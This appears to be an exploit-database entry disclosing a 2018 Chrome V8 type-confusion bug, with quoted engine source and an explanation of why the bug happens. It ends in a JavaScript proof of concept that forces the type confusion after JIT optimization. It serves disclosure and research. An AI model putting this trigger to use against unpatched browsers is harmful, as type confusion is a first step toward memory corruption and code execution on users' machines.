ExploitFixes
Chrome V8 - 'TranslatedState::MaterializeCapturedObjectAt' Type Confusion 2018-02-27 17:05:12

/*
Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
case JS_SET_KEY_VALUE_ITERATOR_TYPE:
case JS_SET_VALUE_ITERATOR_TYPE: {
Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
Handle<Object> properties = materializer.FieldAt(value_index);
Handle<Object> elements = materializer.FieldAt(value_index);
Handle<Object> table = materializer.FieldAt(value_index);
Handle<Object> index = materializer.FieldAt(value_index);
object->set_raw_properties_or_hash(*properties);
object->set_elements(FixedArrayBase::cast(*elements));
object->set_table(*table);
object->set_index(*index);
return object;
}
case JS_MAP_KEY_ITERATOR_TYPE:
case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
case JS_MAP_VALUE_ITERATOR_TYPE: {
Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
Handle<Object> properties = materializer.FieldAt(value_index);
Handle<Object> elements = materializer.FieldAt(value_index);
Handle<Object> table = materializer.FieldAt(value_index);
Handle<Object> index = materializer.FieldAt(value_index);
object->set_raw_properties_or_hash(*properties);
object->set_elements(FixedArrayBase::cast(*elements));
object->set_table(*table);
object->set_index(*index);
return object;
}

For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.

PoC:
*/

function opt(b) {
let iterator = new Set().values();
iterator.x = 0;

let arr = [iterator, iterator];
if (b)
return arr.slice();
}

for (let i = 0; i < 100000; i++)
opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b); // false
a.x = 7;

print(b.x); // 7

a.a = 1.1; // transition
b.b = 0x1234;
a.a = 1.1; // type confusion